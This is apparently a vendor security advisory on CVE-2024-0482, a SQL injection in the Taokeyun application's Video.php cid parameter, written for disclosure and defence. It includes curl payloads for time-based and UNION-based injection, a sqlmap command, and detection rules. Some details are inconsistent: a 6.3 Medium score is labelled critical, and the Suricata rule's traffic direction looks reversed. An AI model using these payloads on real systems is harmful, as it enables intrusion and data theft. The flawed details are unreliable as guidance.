CVE-2024-0482

Executive Summary

CVE-2024-0482 is a critical SQL injection vulnerability discovered in the Taokeyun application, affecting versions up to and including 1.0.5. The flaw resides in the index function of the /application/index/controller/app/Video.php file, specifically within the HTTP POST request handler. By manipulating the cid argument, an unauthenticated remote attacker can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or denial of service. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is currently available, making this a high-priority issue for any organization using Taokeyun.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Taokeyun PHP application. Organizations should treat this as a critical supply chain risk if they have integrated Taokeyun into their infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) - Limited data access possible.
• Integrity Impact: Low (I:L) - Limited data modification possible.
• Availability Impact: Low (A:L) - Potential for service disruption.

Threat Level: High. The combination of remote exploitability, low complexity, and public exploit code makes this a significant threat. The lack of a patch further elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the index method of Video.php. The application fails to properly sanitize the cid parameter before using it in a SQL query. An attacker can inject SQL commands by sending a crafted POST request to the vulnerable endpoint.

Vulnerable Code Snippet (Conceptual):

// application/index/controller/app/Video.php
public function index() {
    $cid = input('post.cid');
    $result = db('video')->where('id', $cid)->select();
    // ...
}

The input() function likely retrieves the cid parameter without proper filtering, and the where clause directly concatenates the user input into the SQL query.

Exploitation Mechanics:

1. The attacker sends a POST request to the vulnerable endpoint with a malicious cid value.
2. The injected SQL is executed by the database, allowing the attacker to bypass authentication, extract data, or modify records.
3. Common payloads include UNION SELECT statements to retrieve data from other tables or OR 1=1 to bypass logic.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$cid = input('post.cid');
$result = db('video')->where('id', $cid)->select();

Patched Code (Conceptual):

$cid = input('post.cid', '', 'intval'); // or use parameterized queries
$result = db('video')->where('id', $cid)->select();

The patched version uses intval to ensure the cid is an integer, or ideally, uses parameterized queries to prevent injection entirely. Since no official patch exists, this is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Taokeyun instance (version <= 1.0.5).
• A tool like curl, Burp Suite, or a custom script.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., http://target.com/index.php/app/video/index).
2. Send a POST request with a malicious cid parameter.

Example Payload (Time-based blind SQLi):

curl -X POST http://target.com/index.php/app/video/index \
  -d "cid=1 AND SLEEP(5)"

Example Payload (UNION-based data extraction):

curl -X POST http://target.com/index.php/app/video/index \
  -d "cid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target.com/index.php/app/video/index" --data="cid=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /index.php/app/video/index with unusual cid parameters.
• Look for SQL keywords like UNION, SELECT, SLEEP, OR in the cid parameter.
• Use WAF rules to block common SQL injection patterns.

Honeypot: Deploy a decoy Taokeyun instance to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php/app/video/index with cid parameter containing SQL syntax.
  • Outbound database connections from the web server to unexpected IPs.
• File IOCs:
  • Suspicious entries in web server logs (e.g., access.log) showing SQL injection attempts.
• System IOCs:
  • Unexpected database queries or errors in application logs.
  • Modified or exfiltrated data in the video table.

Detection Engineering

YARA Rule

rule CVE_2024_0482_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0482 in Taokeyun"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0482"
    strings:
        $s1 = "cid=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "OR 1=1" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4) or all of ($s1, $s5)
}

Sigma Rule

title: CVE-2024-0482 Taokeyun SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Taokeyun Video.php endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php/app/video/index'
        cs-uri-query|contains: 'cid='
        cs-uri-query|contains|all:
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of UNION in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0482 Taokeyun SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php/app/video/index"; http_uri; content:"cid="; http_client_body; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Taokeyun application from the internet if possible.
2. Apply a WAF rule to block SQL injection patterns in the cid parameter.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Upgrade to a patched version once available.
• Implement input validation (e.g., ensure cid is an integer).
• Use parameterized queries or prepared statements in the application code.
• Conduct a security audit of the entire Taokeyun codebase.

Workaround:

• Modify the Video.php file to sanitize the cid parameter:

$cid = intval(input('post.cid'));

Valters IT
Securing Your Digital Frontier